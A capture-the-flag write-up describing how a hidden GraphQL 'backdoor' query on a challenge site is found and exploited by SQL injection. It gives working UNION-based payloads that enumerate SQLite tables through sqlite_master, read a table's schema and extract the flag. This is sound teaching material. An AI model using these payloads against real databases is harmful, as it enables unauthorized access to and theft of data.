Tags: sql sqlinjection graphql

Rating: 5.0

In this task we are given [a link](http://challenges.ctfd.io:30100/) to some website. If we open it, we will see a static page with just one link:

If we click on this link, we will go to the new page, which will basically be a web application:

In the help resources we see two links: «Learn Grepping» and «Learn about GraphQL». By this we can guess that task is somehow connected with GraphQL technology. When we search all the loaded javascript source files of the application for «graphql» (via «Network» tab, for example), we will eventually find this peace of code:


this.graphql_url = "/gqlsecretpathhuehuehuehue"


This leads us to espciall url http://challenges.ctfd.io:30100/gqlsecretpathhuehuehuehue containing [GrpahiQL](https://github.com/graphql/graphiql), the GraphQL IDE where we can perform different queries:

On the left you can write a query and on the right you can see the result. In the Docs section we can see a message from an ex-developer which states that there is a special function called backdoor wich takes two arguments (id and hash). And we a also given an example parameters:


id: "2", hash: "c81e728d9d4c2f636f067f89cc14862c"


Let's build a simple query to a backdoor:


query {
backdoor(
id: "2",
hash: "c81e728d9d4c2f636f067f89cc14862c"
)
}


In the response we will see the name of an employee:


"data": {
"backdoor": "Roy"
}


If we google tha hash c81e728d9d4c2f636f067f89cc14862c, we will quickly find that it is an md5 for 2. So we can build the same kind of query for user with id: "3" with corresponding md5 hash:


query {
backdoor(
id: "3",
hash: "eccbc87e4b5ce2fe28308fd9f2a7baf3"
)
}


results in:


{
"data": {
"backdoor": "Tracy"
}
}


*(where "eccbc87e4b5ce2fe28308fd9f2a7baf3" is an md5 hash for "3")*

Now let's try the simplest SQL injection payload:

query {
backdoor(
id: "'",
hash:"3590cb8af0bbb9e78c343b52b93773c9"
)
}


And we some interesting result:


{
"errors": [
{
"message": "(sqlite3.OperationalError) unrecognized token: \"'''\"\n[SQL: SELECT name FROM employee WHERE id=''']\n(Background on this error at: http://sqlalche.me/e/e3q8)",
"locations": [
{
"line": 2,
"column": 3
}
],
"path": [
"backdoor"
]
}
],
"data": {
"backdoor": null
}
}


From this we obtain two facts:

1. backdoor function is voulnerable to SQL injections
2. SQLite3 database is used

So we can pass some payload to retieve information in the response "backdoor" field, e.g.:


query {
backdoor(
id: "' UNION SELECT 'injection!' --",
hash:"bd79bdabd1a61dd2ea75f2fb04af9ed4"
)
}


will give us result:


{
"data": {
"backdoor": "injection!"
}
}


__NOTE: from this moment I will only provide "id" field of the request and "backdoor" field of the result to shorten the writeup__

First, we need to know information about the schema of the database. In the SQLite database, there is a special system table sqlite_master, which contains information about all existing tables in the database:

Payload ' union select tbl_name FROM sqlite_master; -- returns us department. So department is one if the tables in the database.

Let's check next tables: ' union select tbl_name FROM sqlite_master LIMIT 1,1; -- returns employee and finally ' union select tbl_name FROM sqlite_master LIMIT 1,2; -- returns flag_random_name. That looks like an interesting table name.

Let's see this table's structure: ' union select sql FROM sqlite_master LIMIT 2,1; -- returns CREATE TABLE flag_random_name (\n\tid INTEGER NOT NULL, \n\tflag VARCHAR, \n\tPRIMARY KEY (id)\n).

So, we definitly need to query a flag column in the flag_random_name table. Let's do this: ' union select flag FROM flag_random_name WHERE flag LIKE 'batpwn{%'; -- finally returns the flag. Here we add LIKE operator because we know the structure of the flag (is should start with batpwn{) and we don't want to look through all the records in the flag_random_name table.